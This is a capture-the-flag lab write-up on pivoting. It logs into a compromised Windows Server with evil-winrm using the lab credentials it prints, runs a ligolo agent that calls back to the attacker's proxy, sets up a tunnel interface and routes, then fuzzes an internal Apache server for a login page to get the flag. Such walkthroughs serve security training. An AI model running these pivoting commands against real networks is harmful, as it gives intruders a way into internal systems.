Overview

The machine starts by connecting via winrm with valid credentials that provides access to the Windows Server, deploying a ligolo agent and establishing a tunnel with autoroute to pivot into the internal network to find an Apache web service. It continues by fuzzing for hidden pages to discover login.html and authenticating to retrieve the final flag.

Info

This is Basic Module which focuses on a single topic.

You have already compromised a Windows Server providing you access to the internal network. Connect to this machine with evil-winrm. Use this Windows Server as a proxy to access the web server from your attack machine, login w/ the credentials, and retrieve the final flag.

Windows Server - Credentials j.smith:HackSmarter123 Web Server - Credentials t.ramsbey:HackSmarter123321123

Enumeration

Start with nmap scan.

We're already given info that we need to connect using WinRM so let's do that.

Then we move ligolo agent to the target.

And we start the proxy locally.

From the target we connect back to the proxy and the connection is established as you can see.

bash
*Evil-WinRM* PS C:\Users\j.smith\Documents> ./agent.exe -connect 10.200.87.19:11601 -ignore-cert
agent.exe : time="2026-08-27T11:00:08Z" level=warning msg="warning, certificate validation disabled"
    + CategoryInfo          : NotSpecified: (time="2026-08-2...ation disabled":String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
time="2026-08-27T11:00:08Z" level=info msg="Connection established" addr="10.200.87.19:11601"

We'll get that agent joined.

We create a tunnel NIC and set it up.

bash
┌─[]─[10.200.87.19]─[jimmex@attacker]─[~/HSM/PivotSmarter]
└──╼ [★]$ sudo ip tuntap add dev ligolo mode tun
┌─[]─[10.200.87.19]─[jimmex@attacker]─[~/HSM/PivotSmarter]
└──╼ [★]$ sudo ip link set dev ligolo up
┌─[]─[10.200.87.19]─[jimmex@attacker]─[~/HSM/PivotSmarter]
└──╼ [★]$

From the proxy we'll use the autoroute which will do the routing based on the subnet we specify automatically.

Web

And now we can access the internal port 80 which hosts the Apache2 default page.

So fuzzing for html pages we see that there is login.html.

Which is a login form for the webapp so let's login.

Once we do we get the flag.

Resources